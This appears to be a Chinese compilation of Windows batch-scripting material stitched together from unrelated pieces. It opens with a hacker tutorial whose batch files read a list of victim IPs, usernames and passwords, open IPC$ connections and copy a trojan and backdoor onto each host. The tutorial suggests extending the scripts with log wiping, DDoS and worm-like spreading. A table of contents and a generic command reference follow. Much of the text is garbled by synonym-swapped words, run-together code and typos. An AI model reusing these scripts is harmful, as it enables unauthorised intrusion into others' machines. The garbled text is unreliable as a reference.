use命令来建立IPC$连接,并copy木马+后门到victim,然后用前往码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件. delims= 暗示vivtim.txt中的内容是一空格来分隔的.我想看到这里你也一定明白这victim.txt里的内容是什么样的了.应该按照%%i %%j %%k暗示的对象来排列,一般就是ip password username.代码雏形:--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it. :end--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection ............OK:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------尚可扩展,例如:加入清除日志+DDOS的功效,加入定时添加用户的功效,更深入一点可以使之具备自动传播功效(蠕虫).此处未几做叙述,有兴趣的朋友可自行研究.批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况其实未几见,我们就不考虑它了.@echo offif "%1"=="a" format a::format@format a:/q/u/auotset@echo please insert another disk to driver A.@pause@goto fomat这个例子用于连续地格局化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~sample2:当我们要建立一个IPC$连接地时候总要输入一大串命令,弄欠好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不必每次都打命令了.@echo off@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数.@if errorlevel 1 echo connection failed怎么样,使用参数还是比较简单的吧?欠好的地方请大家见谅见谅下哈..。
目录第一章批处理基础第一节常用批处理内部命令简介1、REM 和::2、ECHO 和@3、PAUSE4、ERRORLEVEL5、TITLE6、COLOR7、mode 配置系统设备8、GOTO 和:9、FIND10、START11、assoc 和ftype12、pushd 和popd13、CALL14、shift15、IF16、setlocal 与变量延迟(ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION启动或停用延缓环境变量扩展名。
)17、A TTRIB显示或更改文件属性第二节常用特殊符号1、@命令行回显屏蔽符2、%批处理变量引导符3、> 重定向符4、>>重定向符5、<、>、<& 重定向符6、|命令管道符7、^转义字符8、组合命令9、& 组合命令10、||组合命令11、\"\"字符串界定符12、, 逗号13、; 分号14、() 括号15、! 感叹号第二章FOR命令详解一、基本格式二、参数/d仅为目录三、参数/R递归(文件名)四、参数/L迭代数值范围五、参数/F迭代及文件解析第三章FOR命令中的变量一、~I- 删除任何引号(\"),扩展%I二、%~fI- 将%I 扩展到一个完全合格的路径名三、%~dI- 仅将%I 扩展到一个驱动器号四、%~pI- 仅将%I 扩展到一个路径五、%~nI- 仅将%I 扩展到一个文件名六、%~xI- 仅将%I 扩展到一个文件扩展名七、%~sI- 扩展的路径只含有短名八、%~aI- 将%I 扩展到文件的文件属性九、%~tI- 将%I 扩展到文件的日期/时间十、%~zI- 将%I 扩展到文件的大小十一、%~$PATH:I第四章批处理中的变量一、系统变量二、自定义变量第五章set命令详解一、用set命令设置自定义变量二、用set命令进行简单计算三、用set命令进行字符串处理1、字符串替换2、字符串截取第六章if命令讲解第一种用法:IF [NOT] ERRORLEVEL number command第二种用法:IF [NOT] string1==string2 command第三种用法:IF [NOT] EXIST filename command第四种用法:IF增强的用法第七章DOS编程高级技巧一、界面设计二、if…else…条件语句三、循环语句四、子程序五、用ftp命令实现自动下载六、用7-ZIP实现命令行压缩和解压功能七、调用VBScript程序八、将批处理转化为可执行文件九、时间延迟1、利用ping命令延时2、利用for命令延时3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内4、仅用批处理命令实现任意时间延迟,精确度10毫秒,误差50毫秒内十、模拟进度条十一、特殊字符的输入及应用十二、随机数(%random%)的应用技巧十三、变量嵌套与命令嵌套1、更正了所有的错别字,适当排版,增加条理性。
bat批处理命令大全BAT批处理命令大全。
批处理文件是一种包含一系列操作命令的文本文件,它们可以自动执行一系列任务,这些任务可以是一些常规的操作、系统管理任务或者其他需要重复执行的任务。
在Windows系统中,批处理文件使用的是BAT扩展名,它们可以通过命令提示符或者直接双击运行来执行其中的命令。
本文将介绍BAT批处理命令的一些常见用法,以及一些常用的批处理命令。
1. ECHO命令。
ECHO命令用于在屏幕上显示文本或者关闭显示。
在批处理文件中,可以使用ECHO命令来输出一些提示信息或者显示执行结果。
例如:```。
ECHO Hello, World!```。
这条命令会在屏幕上显示“Hello, World!”。
如果想关闭显示,可以使用ECHO OFF命令。
2. PAUSE命令。
PAUSE命令用于暂停批处理文件的执行,直到用户按下任意键。
这在需要用户确认或者等待的情况下非常有用。
例如:```。
ECHO Press any key to continue...PAUSE。
这样就会在屏幕上显示“Press any key to continue...”,并且等待用户按下任意键后继续执行。
3. IF命令。
IF命令用于根据条件来执行不同的命令。
它可以用于判断文件是否存在、变量的值等情况。
例如:```。
IF EXIST file.txt (。
ECHO file.txt exists。
) ELSE (。
ECHO file.txt does not exist。
)。
```。
这条命令会判断当前目录下是否存在file.txt文件,如果存在则输出“file.txt exists”,否则输出“file.txt does not exist”。
4. FOR命令。
FOR命令用于循环执行一系列命令。
它可以用于遍历文件、目录、字符串等。
例如:```。
FOR /L %i IN (1,1,10) DO (。
ECHO %i。
```。
这条命令会输出1到10的数字。
批处理命令大全1 echo 和@回显控制命令@ #关闭单行回显echo off #从下一行开始关闭回显@echo off #从本行开始关闭回显。
一般批处理第一行都是这个echo on #从下一行开始打开回显echo #显示当前是echo off 状态还是echo on 状态echo. #输出一个"回车换行",一般就是指空白行echo hello world #输出hello world"关闭回显"是指运行批处理文件时,不显示文件里的每条命令,只显示运行结果批处理开始和结束时,系统都会自动打开回显2 errorlevel程序返回码echo %errorlevel%每个命令运行结束,可以用这个命令行格式查看返回码用于判断刚才的命令是否执行成功默认值为0,一般命令执行出错会设errorlevel 为13 dir显示目录中的文件和子目录列表dir #显示当前目录中的文件和子目录dir /a #显示当前目录中的文件和子目录,包括隐藏文件和系统文件dir c: /a:d #显示C 盘当前目录中的目录dir c:\ /a:-d #显示C 盘根目录中的文件dir d:\mp3 /b/p #逐屏显示d:\mp3 目录里的文件,只显示文件名,不显示时间和大小dir *.exe /s显示当前目录和子目录里所有的.exe文件其中* 是通配符,代表所有的文件名,还一个通配符? 代表一个任意字母或汉字如c*.* 代表以 c 开头的所有文件?.exe 代表所有文件名是一个字母的.exe文件如果指定的目录或文件不存在,将返回errorlevel 为1每个文件夹的dir 输出都会有2个子目录. 和... 代表当前目录.. 代表当前目录的上级目录dir . #显示当前目录中的文件和子目录dir .. #显示当前目录的上级目录中的文件和子目录其它参数可参考dir /?4 cd更改当前目录cd mp3 #进入当前目录中的mp3 目录cd .. #进入当前目录中的上级目录cd\ #进入根目录cd #显示当前目录cd /d d:\mp3 #可以同时更改盘符和目录cd\"Documents and Settings"\All users文件名带空格,可以不加引号建议加上引号,因为有的时候不加引号会运行出错,如登录脚本如果更改到的目录不存在,则出错返回errorlevel=15 md创建目录md abc #在当前目录里建立子目录abcmd d:\a\b\c #如果d:\a 不存在,将会自动创建6 rd删除目录rd abc #删除当前目录里的abc 子目录,要求为空目录rd /s/q d:\temp #删除d:\temp 文件夹及其子文件夹和文件,不需要按Y 确认7 del删除文件del d:\test.txt #删除指定文件,不能是隐藏、系统、只读文件del *.*删除当前目录里的所有文件,不包括隐藏、系统、只读文件,要求按Y 确认del /q/a/f d:\temp\*.*删除d:\temp 文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录del /q/a/f/s d:\temp\*.*删除d:\temp 及子文件夹里面的所有文件,包括隐藏、只读、系统文件,不包括子目录8 ren文件重命名ren 1.txt 2.bak #把1.txt 更名为2.bakren *.txt *.ini #把当前目录里所有.txt文件改成.ini文件ren d:\temp tmp #支持对文件夹的重命名9 cls清屏10 type显示文件内容type c:\boot.ini #显示指定文件的内容,程序文件一般会显示乱码type *.txt #显示当前目录里所有.txt文件的内容11 copy拷贝文件copy c:\test.txt d:\复制c:\test.txt 文件到d:\copy c:\test.txt d:\test.bak复制c:\test.txt 文件到d:\ ,并重命名为test.bakcopy c:\*.*复制c:\ 所有文件到当前目录,不包括隐藏文件和系统文件不指定目标路径,则默认目标路径为当前目录copy con test.txt从屏幕上等待输入,按Ctrl+Z 结束输入,输入内容存为test.txt文件con代表屏幕,prn代表打印机,nul代表空设备copy 1.txt + 2.txt 3.txt合并1.txt 和 2.txt 的内容,保存为 3.txt 文件如果不指定3.txt ,则保存到 1.txtcopy test.txt +复制文件到自己,实际上是修改了文件日期12 title设置cmd窗口的标题title 新标题#可以看到cmd窗口的标题栏变了13 ver显示系统版本14 label 和vol设置卷标vol #显示卷标label #显示卷标,同时提示输入新卷标label c:system #设置C盘的卷标为system15 pause暂停命令运行该命令时,将显示下面的消息:请按任意键继续. . .一般用于看清楚屏幕上显示的内容16 rem 和::注释命令注释行不执行操作17 date 和time日期和时间date #显示当前日期,并提示输入新日期,按"回车"略过输入date/t #只显示当前日期,不提示输入新日期time #显示当前时间,并提示输入新时间,按"回车"略过输入time/t #只显示当前时间,不提示输入新时间18 goto 和:跳转命令:label #行首为:表示该行是标签行,标签行不执行操作goto label #跳转到指定的标签那一行19 find (外部命令)查找命令find "abc" c:\test.txt在c:\test.txt 文件里查找含abc 字符串的行如果找不到,将设errorlevel 返回码为1find /i "abc" c:\test.txt查找含abc 的行,忽略大小写find /c "abc" c:\test.txt显示含abc 的行的行数20 more (外部命令)逐屏显示more c:\test.txt #逐屏显示c:\test.txt 的文件内容21 tree显示目录结构tree d:\ #显示D盘的文件目录结构22 &顺序执行多条命令,而不管命令是否执行成功c: & cd\ & dir /w相当于把下面3行命令写到1行去了c:cd\dir /w23 &&顺序执行多条命令,当碰到执行出错的命令后将不执行后面的命令f: && cd\ && dir >c:\test.txt注意如果f盘不存在,那么后面2条命令将不会执行find "ok" c:\test.txt && echo 成功如果找到了"ok"字样,就显示"成功",找不到就不显示24 ||顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令f: || e:如果有f盘就不进入e盘find "ok" c:\test.txt || echo 不成功如果找不到"ok"字样,就显示"不成功",找到了就不显示25 |管道命令前一个命令的执行结果输出到后一个命令dir *.* /s/a | find /c ".exe"管道命令表示先执行dir 命令,对其输出的结果执行后面的find 命令该命令行结果:输出当前文件夹及所有子文件夹里的.exe文件的个数type c:\test.txt|more这个和more c:\test.txt 的效果是一样的26 > 和>>输出重定向命令> 清除文件中原有的内容后再写入>> 追加内容到文件末尾,而不会清除原有的内容主要将本来显示在屏幕上的内容输出到指定文件中指定文件如果不存在,则自动生成该文件echo hello world>c:\test.txt生成c:\test.txt文件,内容为hello world这个格式在批处理文件里用得很多,可以生成.reg .bat .vbs 等临时文件type c:\test.txt >prn屏幕上不显示文件内容,转向输出到打印机echo hello world>con在屏幕上显示hello world,实际上所有输出都是默认>con 的copy c:\test.txt f: >nul拷贝文件,并且不显示"文件复制成功"的提示信息,但如果f盘不存在,还是会显示出错信息copy c:\test.txt f: >nul 2>nul不显示"文件复制成功"的提示信息,并且f盘不存在的话,也不显示错误提示信息echo ^^W ^> ^W>c:\test.txt生成的文件内容为^W > W^ 和> 是控制命令,要把它们输出到文件,必须在前面加个^ 符号27 <从文件中获得输入信息,而不是从屏幕上一般用于date time label 等需要等待输入的命令@echo offecho 2005-05-01>temp.txtdate <temp.txtdel temp.txt这样就可以不等待输入直接修改当前日期28 %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*命令行传递给批处理的参数%0 批处理文件本身%1 第一个参数%9 第九个参数%* 从第一个参数开始的所有参数在C盘根目录新建test.bat,内容如下:@echo offecho %0echo %1echo %2echo %*运行cmd,输入c:\test.bat "/a" /b /c /d可以看出每个参数的含意修改test.bat内容如下@echo offecho %1echo %~1echo %0echo %~f0echo %~d0echo %~p0echo %~n0echo %~x0echo %~s0echo %~a0echo %~t0echo %~z0再运行cmd,输入c:\test.bat "/a" /b /c /d可以参照call/? 或for/? 看出每个参数的含意注意这里可以对文件进行日期比较和大小比较echo load "%%1" "%%2">c:\test.txt生成的文件内容为load "%1" "%2"批处理文件里,用这个格式把命令行参数输出到文件29 if判断命令if "%1"=="/a" echo 第一个参数是/aif /i "%1" equ "/a" echo 第一个参数是/a/i 表示不区分大小写,equ 和== 是一样的,其它运算符参见if/? if exist c:\test.bat echo 存在c:\test.bat文件if not exist c:\windows (echo 不存在c:\windows文件夹rem 有多条命令可用小括号括起来,称为"复合语句"rem 行前的空格是为了看起来条理清楚)if exist c:\test.bat (echo 存在c:\test.bat) else (echo 不存在c:\test.batrem else表示"否则",判断结果为假时执行其后的命令)30 setlocal 和endlocal设置"命令扩展名"和"延缓环境变量扩充"SETLOCAL ENABLEEXTENSIONS #启用"命令扩展名"SETLOCAL DISABLEEXTENSIONS #停用"命令扩展名"SETLOCAL ENABLEDELAYEDEXPANSION #启用"延缓环境变量扩充" SETLOCAL DISABLEDELAYEDEXPANSION #停用"延缓环境变量扩充" ENDLOCAL #恢复到使用SETLOCAL语句以前的状态"命令扩展名"默认为启用"延缓环境变量扩充"默认为停用批处理结束系统会自动恢复默认值可以修改注册表以禁用"命令扩展名",详见cmd /? 。